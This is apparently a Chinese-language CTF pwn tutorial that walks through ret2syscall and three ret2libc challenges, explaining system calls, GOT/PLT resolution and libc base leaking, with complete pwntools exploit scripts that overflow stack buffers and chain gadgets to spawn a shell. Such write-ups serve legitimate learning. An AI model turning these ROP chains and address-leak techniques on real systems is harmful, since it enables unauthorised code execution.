1.ret2syscall

原理通过调用 sys函数达到目的

先看看原程序

image-20201230121336150

开启了NX保护 栈上就不可执行了

image-20201230121658413

这里说的 NO system(),我们就需要使用系统调用的方法了

在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口

我们需要让程序调用execve("/bin/sh",null,null)函数

具体步骤 拿到系统调用号 依次填入参数如下:

重点

  1. eax 为0xb
  2. ebx指向的/bin/sh的地址
  3. ecx 为0
  4. edx 为0

最后再触发 int 0x80 中断 就可以执行 execve()获取shell

关于系统调用的知识

怎么使寄存器的值变成我们想要的?

若现在栈顶的值为 10 ,当我们执行了pop eax 就把栈顶的值放入了eax中,现在eax的值为10

pop eax |ret 就是一个gadget ,我们需要用不同的gadget片段拼接 ,达到我们想要的目的

pop eax
ret

怎么找到这些gadgets 呢

工具 ROPgadget

ROPgadget --binary filename  --only 'pop|ret' | grep 'register name'

例如 pop eax 的gadgets

ROPgadget --binary filename  --only 'pop|ret' | grep 'eax'
image-20201230165333156

这里选第二个 eax ret

image-20201230165649243

选这个可以同时控制三个

再找到 int80 和 '/bin/sh' 这里使用ROPgadget 另外两种用法查找int 和 string 位置

gadget int 80:

ROPgadget --binary filename --only 'int'
image-20201230170131504

gadget '/bin/sh':

ROPgadget --binary filename --srting '/bin/sh'
image-20201230170339233

下来就是填入参数了

img
payload = flat(['A' * 112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh,int_0x80])

flat 相当于把列表里面的 拼接在一起

运行过程

image-20201230210821424

深度理解系统调用:

一探 从用户态到内核态

先对这三个词的概念进行了解一下

用户态:user_space(或用户空间)是指在操作系统内核之外运行的所有代码。user_space通常是指操作系统用于与内核交互的各种程序和库:执行输入/输出,操纵文件系统对象的软件,应用程序软件等。也就是上层应用程序的活动空间,应用程序的执行必须依托于内核提供的资源内核态:控制计算机的硬件资源,并提供上层应用程序运行的环境,cpu可以访问内存的所有数据,包括外围设备,例如硬盘,网卡,cpu也可以将自己从一个程序切换到另一个程序。两中空间的分离可提供内存保护和硬件保护,以防止恶意或错误的软件行为。系统调用:为了使上层应用能够访问到这些资源,内核为上层应用提供访问的接口。大致的关系如下:

4a36acaf2edda3ccc67d2a278302ac07203f920a

再看一下系统调用的基本过程:开始时应用程序准备参数,发出调用请求,然后glibc中也就是c标准库封装函数引导,执行系统调用,这里我们只探讨到这两个过程。可以发现上述两个过程从用户态(第一步)过渡到内核态(第二步),系统调用就是中间的过渡件,我们能控制的地方就是用户态,然后通过系统调用控制到内核态。先看一个程序

dc54564e9258d1093fb09f6150b359b96e814d87

可以发现该程序通过调用sys_write函数进行输出Hello World,那么sys_write()是什么?

8b82b9014a90f603507d6180bcf9261db251ed1e

可以发现前三个mov指令是把该函数需要的参数放进相应寄存器中,然后把sys_write的系统调用号fd 放在EAX寄存器中,然后执行int 0x80触发中断即可执行sys_call(),那么问题就来了:这几个寄存器有什么作用?为什么int 0x80?int 0x80后发生了什么?带着问题我们继续往下看

二探系统调用

2

在系统启动的时候,系统会在sched_init(void)函数中调用set_system_gate(0x80,&system_call),设置中断向量号0x80的中断描述符,也就是说实现了系统调用 (处理过程system_call)和 int 0x80中断的对应,进而通过此中断号用EAX实现不同子系统的调用。详细了解,参见《linux 0.12》 int 0x80后发生了什么?经过初始化以后,每当执行 int 0x80 指令时,产生一个异常使系统陷入内核空间并执行128号异常处理程序,也就是绑定后的函数,即系统调用处理程序 system_call(),此时CPU完成从用户态到内核态切换,开始执行system_call()

system_call()

当进入system_call()后,主要做了两件事(我们关心的事情,其它的事情忽略,有兴趣可以去了解) 首先处理中断前设置环境的过程 然后找到实际处理在入口 规定:数值会放在eax,ebx,ecx,edx,参数一般为4个 所以ebx,ecx,edx会被压入栈中设置环境(也就是函数所需要的参数),当然ds、es等也要压入,这里不是我们考虑的范围内,有兴趣可以去了解。然后就会调用call_sys_call_table(,%eax,4)来实现相应系统函数的调用。那么从大门进入后怎么知道进那个小门(系统函数)呢?存在这么一个数组——sys_call_table(对应的处理函数少部分在这里面进行处理),处理函数功能号对应sys_call_table[]的下标,sys_execve()函数的下标就是11,也就是0xb。此刻payload的组成应该就会明朗了!

上面摘自 :基本ROP讲解

exp如下

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = process('./rop')

pop_eax_addr=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
int_0x80_addr=0x08049421
binsh=0x080be408

payload=flat(['A'*112,pop_eax_addr,0xb,pop_edx_ecx_ebx_ret,0,0,binsh,int_0x80_addr])
print(payload)
io.sendline(payload)
io.interactive()

二.about libc

控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

这里找到一篇比较好的 介绍 got .plt 表的文章:

计算机原理系列之八 ——– 可执行文件的PLT和GOT

先看看题

1.ret2libc1

看看保护 NX开启 栈不可执行

image-20201230222858830
image-20201230222917283

有gets 同样是栈溢出覆盖返回地址 但是栈不可执行 ,不能填充shellcode 在栈上

但是我们有system 函数 ,先查找下有没有‘/bin/sh’

image-20201230223752788

bin_addr=0x08048720

再找一下system() 函数

image-20201230224828641

payload = 112 + system_plt_addr + 'b' * 4 + bin_addr

这里 ‘b’ * 4 是为了模拟函数调用 因为正常的调用 system() 函数 会有个4字节的返回地址 这里只是模拟这个操作 让程序正常运行

一般 程序 call function 不是直接就调用 函数 要跳到plt 再到 got 表上存了偏移值

这里截取 简单介绍:

一、什么是PLT和GOT

 GOT全称Global Offset Table,即全局偏移量表。它在可执行文件中是一个单独的section,位于.data section的前面。每个被目标模块引用的全局符号(函数或者变量)都对应于GOT中一个8字节的条目。编译器还为GOT中每个条目生成一个重定位记录。在加载时,动态链接器会重定位GOT中的每个条目,使得它包含正确的目标地址。

 PLT全称Procedure Linkage Table,即过程链接表。它在可执行文件中也是一个单独的section,位于.textsection的前面。每个被可执行程序调用的库函数都有它自己的PLT条目。每个条目实际上都是一小段可执行的代码。

动态链接库中的函数动态解析过程如下:
1. 从调用该函数的指令跳转到该函数对应的PLT处;
2. 该函数对应的PLT第一条指令执行它对应的.GOT.PLT里的指令。第一次调用时,该函数的.GOT.PLT里保存的是它对应的PLT里第二条指令的地址;
3. 继续执行PLT第二条、第三条指令,其中第三条指令作用是跳转到公共的PLT(.PLT[0]);
4. 公共的PLT(.PLT[0])执行.GOT.PLT[2]指向的代码,也就是执行动态链接器的代码;
5. 动态链接器里的_dl_runtime_resolve_avx函数修改被调函数对应的.GOT.PLT里保存的地址,使之指向链接后的动态链接库里该函数的实际地址;
6. 再次调用该函数对应的PLT第一条指令,跳转到它对应的.GOT.PLT里的指令(此时已经是该函数在动态链接库中的真正地址),从而实现该函数的调用。

exp如下:

from pwn import *
context(os='linux',arch='i386',log_level='debug')

io = process("./ret2libc1")
elf = ELF("./ret2libc1")
bin_addr =next(elf.search('/bin/sh'))
system_plt = elf.plt['system']

payload = 'A' * 112 + p32(system_plt) + 'b' * 4 + p32(bin_addr)
io.sendline(payload)
io.interactive()

这里用到了 ELF文件操作 pwntools 里面的功能

这里贴出 pwntools 一般操作用法的介绍pwntools 用法

next()是用来查找字符串的,比如next(libc.search(’/bin/sh’))用来查找包含/bin/sh(字符串、某个函数或数值)的地址

payload = flat([ 'A' * 112,system_plt,'b' * 4,bin_addr]) 直接使用flat 函数就不用在对 payload中地址进行 p32 或 p64 操作了

2.ret2libc2

image-20201230233615019
image-20201230233651183

一样的栈溢出 一样找的到system()

but !!!!

image-20201230233832503

没有'/bin/sh'可以利用

这就需要我们自己构造

  • 1.可以先溢出
  • 2.跳到gets_plt 手动输入‘/bin/sh’
  • 3.找到可以写bss段 gets读入的'/bin/sh'放在这个bss段上的
  • 4.跳到system()执行
  • 5.再找到刚刚写入的bss地址 提供给system()

具体流程:

img

这里pop_ebx 用来平衡堆栈

exp 如下:

from pwn import *
context(os='linux',arch='i386',log_level='debug')

io = process("./ret2libc2")
sys_plt=0x08048490
bss_addr=0x0804A080
gets_plt=0x08048460
pop_ebx_ret=0x0804843d
binsh="/bin/sh"

payload=flat([112*'A',gets_plt,pop_ebx_ret,bss_addr,sys_plt,0xdeadbeef,bss_addr])
io.sendline(payload)
io.sendline(binsh)
io.interactive()

这里0xdeadbeef 是linux 的 magic数和填充 'b' * 4效果是一样的

3.ret2libc3

image-20201231001737133
image-20201231001938551

找不到‘/bin/sh’

image-20201231002108629

也找不到system()

啥都没有 ,一无所有才有无限可能 我们可以创造条件!!!(中二)

我们需要找到 system 地址和 '/bin/sh'地址

下面摘自CTF-wiki

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

libc 介绍:

C 标准库(C standard library,缩写:libc)libc介绍

(libc 库有不同版本)

重点

  • libc 中有函数真正地址我们需要泄露已知函数的地址 从而找到libc基址
  • libc.so 动态链接库中的函数之间相对偏移是固定的

例如 puts函数在libc表中的地址,而这个地址是函数在plt表和got表的地址同时组成

这里继续贴出上面理解got,plt的文章计算机原理系列之八 ——– 可执行文件的PLT和GOT

  • 动态链接器里的_dl_runtime_resolve_avx函数修改被调函数对应的.GOT.PLT里保存的地址,使之指向链接后的动态链接库里该函数的实际地址;
  • 再次调用该函数对应的PLT第一条指令,跳转到它对应的.GOT.PLT里的指令(此时已经是该函数在动态链接库中的真正地址),从而实现该函数的调用

意思是通过泄露got 表和 函数真正地址可以找到libc 基址

所以我们从而找到system真正的在libc中的地址

回到原程序:

image-20201231001938551

这里到gets 的时候 puts 已经加载过一次 所以我们可以选择泄露 puts

img
from pwn import *

io = process("./ret2libc3")
elf = ELF('./ret2libc3')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload1=flat(['A' * 112, puts_plt, 'A' * 4,puts_got])
io.sendlineafter("Can you find it !?",payload1)
puts_addr = u32(io.recv(4))

print "[*]puts addr: " + hex(puts_addr)
image-20201231015029269

可以发现通过相应的模块可以顺利获取puts函数的真实地址(也就是GOT表中存储的地址)

但是这里有个问题 泄露地址时候我们已经用过gets 栈溢出了 这里如果有两个栈溢出 返回地址就好了我们就可以 再执行system了

but 没有

这里参考 文章1

如果put函数的返回地址可以回到函数的入口,不就可以再执行一遍gets(溢出点)了吗?怎么构造之前简单了解用户代码的入口和系统代码的入口,在一个程序运行中有两个入口,一个是main(),另一个是_start(),简单来说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。这里以main()函数作为入口为例,如下图所示:

b151f8198618367aedc9f471ad981ed2b11ce5c8

构造步骤:

  • 1.知道puts函数地址 和真实地址
  • 2.知道main函数的真实地址
  • 3.system函数的真实地址(基于泄露的libc)
  • 4.'/bin/sh'字符串的地址
main_addr = elf.symbols['main']
程序运行后 main_addr 就是真实地址了
之后puts 相减获得libc 基址
A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址!
这里就是
libc.address =  puts_addr - libc.symbols['puts']
然后通过pwntools 自带工具得到system 和 '/bin/sh' 在libc 中的地址
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

完整的exp如下:

from pwn import *

context(os='linux',arch='i386',log_level='debug')

io = process("./ret2libc3")
elf = ELF('./ret2libc3')
libc = elf.libc

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']

payload1=flat(['A' * 112, puts_plt,main_addr,puts_got])
io.sendlineafter("Can you find it !?",payload1)
puts_addr = u32(io.recv(4))
#print "[*]puts addr: " + hex(puts_addr)

libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

payload2 = flat(['B' * 104, system_addr, 0xdeadbeef, binsh_addr])
io.sendline(payload2)
io.interactive()

有个疑惑 为什么 覆盖地址变成了 'B' * 104

这里有篇文章有解释Linux pwn从入门到熟练(三)

exp的栈分布图解

v2-29026c6a56fda95ec7e3c738c4b4a42c_720w

为了泄露__libc_start_main地址的栈空间分布变化

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) # 首先通过puts函数的执行,将libc_main的载入地址泄漏出来。

为了获取shell时栈空间分布变化

payload2 = flat(['B' * 104, system_addr, 0xdeadbeef, binsh_addr])
v2-f49626305d4b0a5b6107bfa68516a9d0_720w

文章参考资料:

  1. 基本ROP讲解—合天
  2. 基本ROP-CTF-wiki
  3. Linux pwn从入门到熟练(三)
  4. 计算机原理系列之八 ——– 可执行文件的PLT和GOT
  5. PWN入门之libc表
  6. pwntools 用法
  7. 动态链接库中函数的地址确定
  8. pwntools help
  9. C standard library
  10. CTF Wiki_Address Leaking

山鸟和鱼不同路,从此山水不相逢